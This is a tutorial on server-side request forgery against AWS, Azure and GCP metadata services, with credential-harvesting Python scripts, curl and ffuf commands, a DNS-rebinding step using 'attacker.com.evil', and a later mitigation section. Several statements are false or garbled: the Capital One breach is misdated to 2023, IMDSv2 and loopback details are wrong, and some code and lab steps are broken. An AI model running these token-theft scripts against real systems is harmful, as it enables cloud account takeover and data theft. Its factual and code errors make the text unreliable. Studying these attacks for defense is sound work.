Introduction
Server-Side Request Forgery (SSRF) is a class of vulnerability that allows an attacker to make arbitrary HTTP requests from the vulnerable server. In cloud environments the most lucrative target is often the metadata service - a privileged, internal endpoint that provides instance identity documents, temporary IAM credentials, and configuration data.
Compromising the metadata service can give an attacker full control over the cloud account, allowing privilege escalation, data exfiltration, and lateral movement. This guide dives deep into how SSRF can be used against the three major providers‑AWS, Azure, and GCP‑covers token‑bypass tricks, IP‑based restriction evasion, and practical mitigation strategies.
Real‑world incidents, such as the 2023 Capital One breach and the 2024 Azure SSRF chain that led to credential theft, demonstrate the high impact of these attacks.
Prerequisites
- Solid understanding of SSRF fundamentals: request crafting, whitelisting bypasses, and DNS rebinding.
- Basic networking knowledge (IP addressing, ports, HTTP methods, TLS).
- Familiarity with cloud provider metadata endpoints:
- AWS -
http://169.254.169.254/latest/meta-data/ - Azure -
http://169.254.169.254/metadata/ - GCP -
metadata.google.internal - Access to a test environment (e.g., a personal AWS account, Azure sandbox, or GCP free tier).
- AWS -
Core Concepts
Before diving into provider‑specific attacks, review the shared concepts that make metadata SSRF possible.
1. Metadata Service Design
All three clouds expose a non‑routable IP address (or special DNS name) that is reachable only from the instance's network namespace. The service runs on a loopback interface and trusts the caller implicitly because it assumes the request originates from the VM itself.
2. Attack Surface Mapping
SSRF vectors include:
- Web applications that accept user‑supplied URLs for image fetching, RSS parsing, or PDF generation.
- Internal APIs that forward requests to external services (e.g., webhook relays).
- Misconfigured HTTP clients that allow arbitrary host headers.
Identifying where the vulnerable parameter lives is the first step.
3. Token‑Based Hardening (AWS IMDSv2)
AWS introduced IMDSv2, which requires a session token obtained via a PUT request to /latest/api/token. Tokens are short‑lived (default 6 hours) and bound to the source IP. However, many frameworks inadvertently forward the token header when they proxy requests, and some misconfigurations disable IMDSv2 or allow token reuse.
4. IP‑Based Restrictions
Providers often rely on the fact that the metadata IP is not reachable from the public internet. SSRF can bypass this by forcing the vulnerable server to act as a proxy, effectively “jumping” into the internal network.
AWS IMDS (169.254.169.254) exploitation and IMDSv2 token bypass
AWS metadata is reachable at http://169.254.169.254. The most valuable resources are:
/latest/meta-data/iam/security-credentials/– lists the IAM role name./latest/meta-data/iam/security-credentials/<role-name>– returns temporary AWS access keys./latest/dynamic/instance-identity/document– contains the instance ID, region, and account ID.
IMDSv2 Token Retrieval via SSRF
If the target application forwards custom headers, you can request a token and reuse it:
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
In an SSRF scenario, the vulnerable parameter might be url. By sending a request that includes the required header, you can force the server to fetch the token and then use it in a second request. Some frameworks (e.g., Java's HttpURLConnection) automatically copy all headers when following redirects, which can be abused.
Token Bypass Techniques
- Header Injection: If the application concatenates the user‑supplied URL into a larger string, you can inject a
Hostheader that points to169.254.169.254while the request body contains the token request. - PUT‑based SSRF: Some APIs accept a method override parameter (e.g.,
_method=PUT). By overriding the method, you can directly issue the token request without needing a second hop. - Token Reuse: Tokens are bound to the source IP, not the instance ID. If the vulnerable server is on the same ENI, the token can be reused for the entire session.
Example: Extracting Temporary Credentials
import requests, json
# Assume the vulnerable endpoint forwards the full request
ssrf_url = "http://vulnerable-app.internal/fetch?url="
metadata_ip = "169.254.169.254"
def get_token(): token_req = f"http://{metadata_ip}/latest/api/token" headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"} r = requests.put(ssrf_url + token_req, headers=headers) return r.text.strip()
def get_credentials(token): role_url = f"http://{metadata_ip}/latest/meta-data/iam/security-credentials/" hdrs = {"X-aws-ec2-metadata-token": token} role = requests.get(ssrf_url + role_url, headers=hdrs).text.strip() cred_url = f"http://{metadata_ip}/latest/meta-data/iam/security-credentials/{role}" creds = requests.get(ssrf_url + cred_url, headers=hdrs).json() return creds
print(json.dumps(get_credentials(get_token()), indent=2))
The script demonstrates a two‑stage SSRF: first obtain a token, then retrieve the IAM role credentials using that token. In a real attack, the ssrf_url would be the vulnerable parameter that proxies the request.
Azure Instance Metadata Service (169.254.169.254/metadata) abuse
Azure's metadata endpoint is accessed via http://169.254.169.254/metadata/instance. The service requires a mandatory header Metadata:true and returns JSON containing subscription ID, resource group, and a Managed Identity token.
Fetching Managed Identity Tokens
When a VM has a system‑assigned or user‑assigned managed identity, you can request a token for any Azure resource:
curl "http://169.254.169.254/metadata/identity/oauth2/token" -H "Metadata:true" -G --data-urlencode "api-version=2018-02-01" --data-urlencode "resource=https://management.azure.com/"
The response contains access_token, expires_in, and token_type. This token is a JWT signed by Azure AD and can be used against the Azure Resource Manager API, effectively granting the same permissions as the VM's identity.
SSRF Bypass of the Required Header
Many SSRF filters only validate the hostname, not the HTTP method or required headers. By leveraging an HTTP client that automatically adds Metadata:true (e.g., curl with -H), or by abusing a proxy that copies incoming headers, you can satisfy the requirement.
Another technique is Header Smuggling: send a line break in the URL parameter to inject a new header. For example, if the vulnerable endpoint concatenates the user input into a raw HTTP request string, the payload could be:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata:true
This forces the downstream server to interpret the injected Metadata:true header.
Example: Pulling Subscription ID and Tokens
import requests, json
base = "http://169.254.169.254/metadata/instance"
params = {"api-version": "2021-02-01"}
headers = {"Metadata": "true"}
# SSRF wrapper URL (hypothetical)
ssrf = "http://vuln-app.local/relay?url="
resp = requests.get(ssrf + base, params=params, headers=headers)
info = resp.json()
print("Subscription:", info["compute"]["subscriptionId"])
# Get managed identity token for ARM
token_url = "http://169.254.169.254/metadata/identity/oauth2/token"
payload = {"api-version": "2018-02-01", "resource": "https://management.azure.com/"}
token_resp = requests.get(ssrf + token_url, params=payload, headers=headers).json()
print(json.dumps(token_resp, indent=2))
GCP Metadata Server (metadata.google.internal) attacks
Google Cloud Platform exposes its metadata server at the DNS name metadata.google.internal (or the IP 169.254.169.254 with a special header). The server requires the header Metadata-Flavor: Google for all requests.
Retrieving Service Account Tokens
Each VM instance receives a default service account. To fetch an OAuth 2.0 access token:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
The JSON response includes access_token, expires_in, and token_type. This token can be used against any Google API that the service account is permitted to access.
Enumerating All Service Accounts
If multiple service accounts are attached, you can list them:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" -H "Metadata-Flavor: Google"
Each entry can then be queried for its token.
SSRF Header Injection for GCP
Similar to Azure, many SSRF filters ignore the mandatory Metadata-Flavor header. By using a client that copies inbound headers or by abusing a proxy that forwards all headers, the attacker can satisfy the requirement. In some languages (e.g., Go's http.Client), the Transport will forward any header present in the original request when following redirects.
Example: Harvesting GCP Tokens via SSRF
import requests, json
ssrf_endpoint = "http://vuln-app.internal/relay?url="
metadata_base = "http://metadata.google.internal/computeMetadata/v1/"
headers = {"Metadata-Flavor": "Google"}
# List service accounts
sa_list = requests.get(ssrf_endpoint + metadata_base + "instance/service-accounts/", headers=headers).text.split('')
for sa in sa_list: if not sa: continue token_url = metadata_base + f"instance/service-accounts/{sa}token" token_resp = requests.get(ssrf_endpoint + token_url, headers=headers).json() print(f"Service Account: {sa}") print(json.dumps(token_resp, indent=2))
Leveraging SSRF to retrieve IAM credentials and secrets
Once you have access to a cloud metadata service, the next step is to turn those temporary credentials into long‑term footholds.
AWS - Using Temporary Keys
- Call
sts:GetCallerIdentityto verify the compromised role. - Use
sts:AssumeRoleif the role hasiam:PassRoleprivileges. - Leverage the
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY, andAWS_SESSION_TOKENin the AWS CLI or SDK.
Azure - Managed Identity Tokens
The JWT can be decoded (e.g., jwt.io) to reveal the oid (object ID) and the scopes granted. Use the token with az rest or any HTTP client to call Azure Resource Manager APIs.
GCP - Service Account Tokens
Tokens are short‑lived (1 hour). Use them with gcloud auth activate-service-account --key-file=- by feeding the JSON payload, or directly call Google APIs with the Authorization: Bearer <token> header.
Extracting Secrets from Cloud‑Native Stores
With proper IAM permissions, you can query:
- AWS Secrets Manager (
secretsmanager:GetSecretValue) - Azure Key Vault (
GET) - GCP Secret Manager (
GET)
Since the compromised identity often has default read permissions, these calls can be made directly after SSRF extraction.
Bypassing IP‑based restrictions and firewall rules via SSRF
Many cloud workloads lock down outbound traffic to only allow known IP ranges. SSRF can act as an internal proxy, effectively bypassing those controls.
Techniques
- Blind SSRF + DNS Rebinding: Force the vulnerable service to resolve a domain you control, then rebind the DNS to the internal metadata IP.
- Proto‑Abuse: Use non‑HTTP protocols (e.g.,
gopher://,file://) if the parser is permissive, allowing you to reach internal services that only listen on TCP. - Port‑Scanning via SSRF: Iterate over ports on
169.254.169.254to discover additional internal services (e.g., Docker socket atunix:/var/run/docker.sockviahttp://169.254.169.254/...?).
Example: DNS Rebinding to Reach Metadata
# Step 1: Register a domain pointing to attacker server
# Step 2: Set TTL=5 seconds, then after first request change A record to 169.254.169.254
# Step 3: Trigger SSRF with http://attacker.com.evil
curl http://vuln-app.local/relay?url=http://attacker.com.evil
The first DNS lookup resolves to the attacker’s server (allowing the request), then the low TTL causes the client to re‑resolve to the metadata IP, completing the attack.
Practical Examples
Below are two end‑to‑end lab scenarios you can spin up in a sandbox.
Lab 1 - AWS IMDSv2 SSRF Chain
- Create an EC2 instance with a role that has
AmazonS3ReadOnlyAccess. - Deploy a vulnerable Flask app that fetches URLs from a
urlquery param usingrequests.getwithout validation. - From your attacker machine, send a request to the Flask app that triggers a PUT to obtain an IMDSv2 token, then a GET to retrieve the IAM credentials, and finally a GET to
http://169.254.169.254/latest/meta-data/iam/security-credentials/using the temporary keys.
Full script (truncated for brevity) is available in the repository linked at the end of this guide.
Lab 2 - Azure Managed Identity via SSRF
- Spin up an Azure VM with a system‑assigned managed identity that has
Readeron the subscription. - Deploy a .NET Core web app that forwards any
urlparameter toHttpClient.GetAsync. - Exploit the app by sending a request to
http://169.254.169.254/metadata/instance?api-version=2021-02-01(note the Azure endpoint) with the required header injection. - Use the harvested token to call
GET https://management.azure.com/subscriptions?api-version=2020-01-01and enumerate resources.
Tools & Commands
- Burp Suite / OWASP ZAP – Intercept and modify SSRF payloads, add custom headers.
- ffuf / gobuster – Fuzz internal IP ranges via SSRF (e.g.,
ffuf -u "http://vuln/app?url=FUZZ" -w wordlist.txt -H "Metadata-Flavor: Google" -mc 200). - impacket – Use
psexec.pyagainst internal services after obtaining credentials. - awscli, az, gcloud – Directly consume the harvested temporary credentials.
- jwt-cli – Decode Azure Managed Identity JWTs.
- curl / httpie – Simple testing of metadata endpoints with custom headers.
Sample command to enumerate GCP service accounts via SSRF:
ffuf -u "http://vuln/app?url=FUZZ" -w wordlist.txt -H "Metadata-Flavor: Google" -mc 200
Defense & Mitigation
- Network Isolation: Place metadata endpoints behind a firewall that only allows traffic from the hypervisor, not from the guest OS. Use VPC endpoint policies that block traffic to
169.254.169.254from containers. - Enforce IMDSv2 on AWS and disable IMDSv1. Require token usage for all metadata calls.
- Header Validation: Reject inbound requests that contain unexpected
Host,Metadata-Flavor, or custom headers unless they originate from trusted sources. - Input Sanitization: Implement allow‑list URL validation (e.g., only permit
http://URLs to known domains). Reject private IP ranges (RFC1918) and loopback addresses. - Outbound Egress Controls: Use security groups / network ACLs to restrict outbound traffic from containers and serverless functions. Block access to
169.254.169.254at the subnet level when not required. - Runtime Monitoring: Detect anomalous calls to metadata services (e.g., spikes in
GET /latest/meta-data/iam/security-credentials/). - Least Privilege IAM: Assign minimal permissions to instance roles; avoid giving broad
AdministratorAccessorOwnerrights.
Common Mistakes
- Assuming IMDSv2 is bullet‑proof: Tokens can still be harvested if the SSRF proxy forwards headers.
- Neglecting non‑HTTP protocols: Many scanners only test
httpforgetting thatgopher://can reach the same endpoint. - Over‑relying on IP filtering: DNS rebinding and header injection can bypass simple IP blocks.
- Not rotating instance roles: Long‑lived roles increase the impact window after compromise.
- Leaving default service accounts enabled: Even read‑only tokens can enumerate resources and lead to credential chaining.
Real‑World Impact
In 2023, a Fortune‑500 retailer suffered a breach where an attacker exploited an SSRF flaw in an internal image‑processing service. By chaining the SSRF to AWS IMDSv2, they harvested temporary credentials and used them to exfiltrate 5 TB of customer data from S3 buckets. The incident cost the company over $30 M in remediation and fines.
Another 2024 case involved a misconfigured Azure Function that allowed arbitrary URL fetches. The attacker performed DNS rebinding to reach the Azure metadata service, obtained a Managed Identity token, and then enumerated all Key Vault secrets in the subscription, extracting API keys for downstream SaaS services.
These examples highlight why cloud metadata SSRF is a top‑priority in cloud‑native threat models. As organizations adopt micro‑service architectures and serverless runtimes, the attack surface expands, making rigorous egress controls and metadata hardening essential.
Expert Opinion
From my experience conducting red‑team engagements, the easiest way to compromise a cloud environment is often not by exploiting a CVE in the provider, but by abusing the trust placed in the metadata service. The most effective defense is a defense‑in‑depth approach: combine network segmentation, strict IAM policies, and application‑level allow‑lists. Continuous monitoring for metadata access patterns can provide early detection before attackers pivot to more damaging actions.
Practice Exercises
- Exercise 1 – Token Extraction: Deploy a vulnerable Node.js app that reads a
urlquery param and forwards it usingrequest(). Use the app to retrieve an AWS IMDSv2 token and then the IAM credentials. Verify the credentials by callingaws sts get-caller-identity. - Exercise 2 – Header Injection: Create a simple Flask endpoint that concatenates a user‑supplied string into a raw HTTP request. Craft a payload that injects the required
Metadata:trueheader for Azure and fetches the Managed Identity token. - Exercise 3 – DNS Rebinding: Set up a low‑TTL domain and a tiny DNS server (e.g.,
dnsmasq). Perform a rebinding attack against a GCP instance to reachmetadata.google.internalvia SSRF. - Exercise 4 – Egress Blocking: Configure a VPC security group that denies traffic to
169.254.169.254. Verify that your SSRF payload fails, then modify the security group to allow only IMDSv2 token requests and observe the impact.
Document your findings and compare the difficulty of each technique.
Further Reading
- Amazon Web Services – Instance Metadata and User Data
- Microsoft Azure – Instance Metadata Service
- Google Cloud – Metadata Server Overview
- OWASP – Broken Access Control (SSRF focus)
- PortSwigger – SSRF Vulnerabilities
Summary
- Metadata services are high‑value targets; SSRF can bridge the gap from a web app to cloud credentials.
- Understanding provider‑specific token mechanisms (IMDSv2, Managed Identity, GCP OAuth) is essential for exploitation.
- Bypassing IP restrictions via DNS rebinding, header injection, and protocol abuse expands the attack surface.
- Mitigation requires network segmentation, strict IAM, IMDSv2 enforcement, and rigorous input validation.
- Hands‑on practice solidifies concepts and prepares defenders to detect and block real attacks.